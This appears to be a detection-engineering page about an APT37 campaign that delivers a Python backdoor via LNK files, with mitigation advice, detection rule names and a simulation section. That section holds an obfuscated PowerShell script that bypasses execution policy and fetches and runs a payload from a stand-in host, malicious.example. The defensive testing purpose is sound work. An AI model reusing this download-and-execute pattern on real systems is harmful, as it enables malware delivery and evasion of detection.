Python Backdoor Threat Analysis Following an AI Deepfake Impersonation Campaign
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report outlines a multi-stage intrusion campaign linked to the North Korean APT37 group. Initial access begins with spear-phishing emails that carry ZIP archives containing malicious LNK shortcut files. When opened, the LNK launches an obfuscated batch script that downloads additional components and eventually deploys a Python-based backdoor disguised as a .cat file.
Investigation
Researchers observed heavy command obfuscation through environment-variable substring expansion, along with abuse of legitimate tools such as curl.exe and an embedded Python 3.10 runtime. The malware also created a scheduled task to maintain persistence on the host. Investigators identified infrastructure overlaps with earlier APT37 operations, including use of Cafe24 hosting and French .fr domains.
Mitigation
Organizations should harden email defenses, block execution of LNK files extracted from archives, and monitor for unusual batch-script obfuscation patterns. Defenders should also watch for curl.exe and pythonw.exe running from unexpected paths and alert on suspicious scheduled task creation. Behavioral analytics should correlate these process chains with outbound connections to the known command-and-control infrastructure.
Response
If this activity is detected, isolate the affected system, terminate the malicious processes, remove the scheduled task, and delete the dropped Python files. Security teams should also conduct a forensic hunt for related batch scripts, LNK shortcut files, and any exposed credentials. Detection logic should be updated to cover the observed command-line patterns and network indicators.
Attack Flow
Detections
Schtasks Points to Suspicious Directory / Binary / Script (via cmdline)
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Suspicious Execution from Public User Profile (via process_creation)
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Suspicious CURL Usage (via cmdline)
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Suspicious Files in Public User Profile (via file_event)
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IOCs (HashMd5) to detect: Python Backdoor Threat Analysis Following an AI Deepfake Impersonation Campaign
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IOCs (SourceIP) to detect: Python Backdoor Threat Analysis Following an AI Deepfake Impersonation Campaign
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IOCs (DestinationIP) to detect: Python Backdoor Threat Analysis Following an AI Deepfake Impersonation Campaign
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PowerShell Execution Policy Bypass and Python Embed Download [Windows Powershell]
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Detection of LNK File Execution Leading to Obfuscated Command and External Downloads [Windows Process Creation]
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Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
Attack Narrative & Commands
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Goal: The adversary wants to download a second‑stage payload from an external server while evading simple command‑line bans.
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Method: Deploy a malicious
.lnkfile that, when clicked, launchescmd.exe /kto set a series of environment variables that piece together an obfuscated PowerShell command. The assembled command runs PowerShell with-ExecutionPolicy Bypassand usescurl.exeto fetch the payload. -
Steps:
- a. Create environment variables that store fragments of the final command (e.g.,
a=%SystemRoot%,b=%SystemRoot%System32,c=PowerShell, etc.). - b. Execute
cmd.exe /k "%a%System32%c% -ExecutionPolicy Bypass -Command "& { iwr -Uri 'http://malicious.example/payload.exe' -OutFile $env:TEMPupd.exe; Start-Process $env:TEMPupd.exe }"" - c. The
curl.exevariant replacesiwrwithcurl.exefor the same download.
- a. Create environment variables that store fragments of the final command (e.g.,
The resulting Event ID 1 Sysmon record will contain an Image of cmd.exe and a CommandLine matching /k plus the PowerShell bypass string, satisfying the rule.
Regression Test Script
# --------------------------------------------------------------
# Simulation Script – Triggers the Sigma rule
# --------------------------------------------------------------
# 1. Define obfuscated fragments via environment variables
$env:V1 = "$env:SystemRoot"
$env:V2 = "System32"
$env:V3 = "PowerShell"
$env:V4 = "-ExecutionPolicy"
$env:V5 = "Bypass"
$env:V6 = "-Command"
$env:V7 = "`"& { iwr -Uri 'http://malicious.example/payload.exe' -OutFile $env:TEMPupd.exe; Start-Process $env:TEMPupd.exe }`""
# 2. Build the full command line (still obfuscated)
$cmd = "$env:V1$env:V2cmd.exe /k `"$env:V1$env:V2$env:V3 $env:V4 $env:V5 $env:V6 $env:V7`""
# 3. Execute the command – this will generate the Sysmon event
Start-Process -FilePath "$env:V1$env:V2cmd.exe" -ArgumentList "/k `"$env:V1$env:V2$env:V3 $env:V4 $env:V5 $env:V6 $env:V7`"" -NoNewWindow
# --------------------------------------------------------------
Cleanup Commands
# Remove temporary environment variables
Remove-Item Env:V1, Env:V2, Env:V3, Env:V4, Env:V5, Env:V6, Env:V7 -ErrorAction SilentlyContinue
# Delete the downloaded dummy payload if it exists
Remove-Item -Path "$env:TEMPupd.exe" -Force -ErrorAction SilentlyContinue